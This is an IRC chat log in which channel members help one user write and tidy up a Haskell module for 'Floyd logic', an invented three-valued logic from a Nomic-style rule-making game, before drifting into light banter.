22:38:33 http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24561#a24561 22:38:49 [I mean, I'm not using that code, thanks to elemIndices, but what's wrong, exactly?] 22:39:10 Sgeo: cur_pos : acc also needs parentheses 22:39:33 ty 22:39:35 It worky now 22:40:15 http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24562#a24562 22:40:19 Stylistic issues? 22:42:48 (\x -> x==Frue) = (==Frue) 22:43:44 * Sgeo is a bit too used to C# 22:44:37 The test cases specified in FRC round 29 all check out 22:45:12 what's this about :( 22:45:13 Sgeo: i note you are only exporting the type, not any of the functions 22:45:27 oerjan, I need to fix that, yes 22:45:44 module FLogic(FValue(..),fLeft,fRight) where 22:45:45 right? 22:45:57 aht is floyd logic 22:46:39 Sgeo: oh your first case can be written as [Talse, Floyd, Frue]!!ftemp values 22:46:54 although the case may be faster 22:47:05 Hm 22:47:29 -!- FireFly has quit (Quit: Leaving). 22:47:50 === and (+) are defined in valid rules 22:48:12 well === is a legal operator name 22:48:30 :( 22:48:32 why 22:48:46 fax: what? 22:49:00 I dont get this 22:49:10 fax: it was an frc round 22:49:23 -!- BeholdMyGlory has quit (Remote host closed the connection). 22:49:24 what's an frc round 22:49:49 `google Fantasy Rules Committee 22:50:01 Member list, history of past rounds, and an introduction to how to play this themed rule-making game. \ www.win.tue.nl/cs/fm/engels/frc/index.html - [13]Cached 22:50:07 After I finish this code, I just need to send it to 1994 22:50:23 Where it may prove useful 22:50:27 that may not be uptodate though, i hear it's still ongoing 22:50:52 :(((((((((((((((((( 22:51:57 the FRC is indeed still ongoing 22:52:01 groups.google.com/group/frc-play 22:52:40 I dont undersatnd aynthing!!!! 22:53:36 Sgeo: if you derive Enum as well, then fRight = toEnum . ftemp 22:54:01 fax: it's a creative game, about inventing rules 22:54:10 That seems like more of a coincidence than anything profound 22:54:14 fax: It is Nomic. 22:54:37 Although it makes me wonder why FLeft and FRight were defined the way they were 22:54:42 Sgeo: well it's a coincidence with the order you listed it in the data type 22:55:39 There has to be a more elegant way than p <+> q = if p==q then Talse else if p == Frue || q == Frue then Frue else Floyd 22:55:56 I tried pattern matching, with the first one being p <+> p, but that didn't work 22:56:24 Sgeo: what is clear is that fLeft and fRight are functions of each other 22:56:27 p <+> q | p == q = ... 22:56:32 p <+> q | otherwise = ... 22:56:34 fax, oh, ty 22:56:53 Wait, I need to say p <+> q multiple times? 22:57:00 Repeat: if/then/else sucks 22:57:07 anyone interested in a little challenge? 22:57:23 fax, I meant, I thought the syntax let me skip the p<+>q thing the second etc. time 22:57:25 Sgeo: no, just once 22:58:17 actually fax's otherwise looks silly 22:58:34 p <+> q | p == q = Talse 22:58:45 Frue <+> _ = Frue 22:58:51 _ <+> Frue = Frue 22:58:57 _ <+> _ = Floyd 22:59:50 ... 23:00:52 http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24563#a24563 23:01:48 You know, in (+), Floyd almost acts like a NaN 23:02:32 Sgeo: you could define fMiddle with 0 -> Floyd; 1 -> Frue; 2 -> Talse and then fLeft and fRight would be rotations in each directions of that 23:02:58 what *I* would do is just write out the truth tables in full 23:03:01 What does fMiddle mean, exactly? 23:03:15 fax, I just wrote directly from the specs 23:03:19 if you MUST make it short gzip the program once it's done 23:03:22 Sgeo: um the third option you could invent other than fLeft and fRight? 23:03:29 okay that's different 23:03:44 Also, fLeft and fRight operate on lists of FValues 23:04:10 each of those are just rotating the result values of the others 23:04:30 Shouldn't there be 3!=6 possibilities, if you count more than just what you can get by rotating? 23:04:53 Sgeo: yep. but rotations are the even permutations 23:05:02 and form a subgroup 23:05:09 * Sgeo is lost 23:05:39 Sgeo: rotations are those permutations of 3 that leave no element in place 23:05:51 this works only for 3 elements though 23:06:13 * Sgeo wonders how FTheorem processing would wrok 23:06:15 *work 23:07:32 Sgeo: like a NaN, except Floyd <+> Floyd == Talse 23:07:53 Oh, right 23:12:21 Hm, a Data.Map String (a->b) could presumably be used to make an OOP-like object 23:12:22 Floyd <+> Floyd ought to == Pink. 23:12:25 Well, not a->b 23:12:37 But some thing that can store various types of functions? 23:12:46 lol pikhq 23:14:35 Not seeing much of a way to make that typecheck, without making a single type that has constructors for what function types you want... 23:22:01 * Sgeo does wonder if the function he wrote works 23:23:26 Yes, although it is backwards from elemIndices 23:23:54 Let others praise ancient times; I am glad I was born in these. -- Ovid (43 B.C. - A.D. 18) 23:24:13 lol 23:24:42 And quite possibly, future times may be more fun than these 23:24:46 And less painful 23:25:00 once soma becomes widespread anyway 23:25:10 "This survey is sponsored by the Microsoft Employee Branding Team" What a hilariously creepy name for a team. 23:25:31 soma==wireheading? 23:25:32 haha 23:25:59 Gregor: they walk around the campus with branding irons 23:26:17 That was my thought. 23:26:51 I hope they at least use the old Microsoft logo: http://upload.wikimedia.org/wikipedia/commons/f/f6/Microsoft_Logo_Historical.svg 23:30:08 -!- Tritonio_GR has quit (Ping timeout: 240 seconds). 23:36:20 * Sgeo shouldn't be playing with Haskell now 23:54:53 -!- augur has quit (Read error: Connection reset by peer). 23:55:24 -!- augur has joined. 23:58:08 -!- ais523 has quit (Remote host closed the connection). 23:59:42 augur: sure